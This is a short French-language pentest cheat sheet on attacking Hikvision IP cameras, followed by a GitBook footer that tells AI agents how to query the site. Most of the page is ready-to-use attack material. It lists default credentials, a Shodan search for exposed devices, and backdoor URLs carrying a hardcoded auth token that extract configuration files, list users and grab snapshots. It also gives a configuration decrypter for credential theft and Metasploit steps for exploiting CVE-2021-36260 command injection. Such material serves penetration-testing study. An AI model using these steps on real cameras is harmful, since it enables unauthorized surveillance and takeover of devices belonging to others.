> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-iot/camera-ip.md).

# Camera IP

## Hikvision

### Identifiants par défaut

admin:12345

### Backdoor

#### Détection

<https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22>

#### Exploitation

Les commandes intéressantes sont les suivantes:

<pre><code>#Extraction du fichier de configuration
http://XX.XX.XX.XX/System/configurationFile?auth=YWRtaW46MTEK

#Lister les utilisateurs et leur rôle
<strong>http://XX.XX.XX.XX/Security/users?auth=YWRtaW46MTEK
</strong><strong>
</strong><strong>#Prendre un snapshot
</strong>http://XX.XX.XX.XX/onvif-http/snapshot?auth=YWRtaW46MTEK
</code></pre>

Pour aller plus loin, il est possible de prendre le contrôle des caméras vulnérables en déchiffrer le fichier de configuration extrait dans lequel se trouve les identifiants des utilisateurs.

ressource: <https://github.com/WormChickenWizard/hikvision-decrypter>

### Unauthenticated Command Injection

CVE-2021-36260: Une vulnérabilité d'injection de commande dans le serveur Web de certains produits Hikvision. En raison de la validation insuffisante des entrées, l'attaquant peut exploiter la vulnérabilité pour lancer une attaque par injection de commande en envoyant des messages avec des commandes malveillantes.

#### Exploitation

Avec metasploit:

```bash
$ msfconsole

msf > use exploit/linux/http/hikvision_cve_2021_36260_blind
msf > set rhost <target IP>
msf > set rport <target port>
msf > exploit
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-iot/camera-ip.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
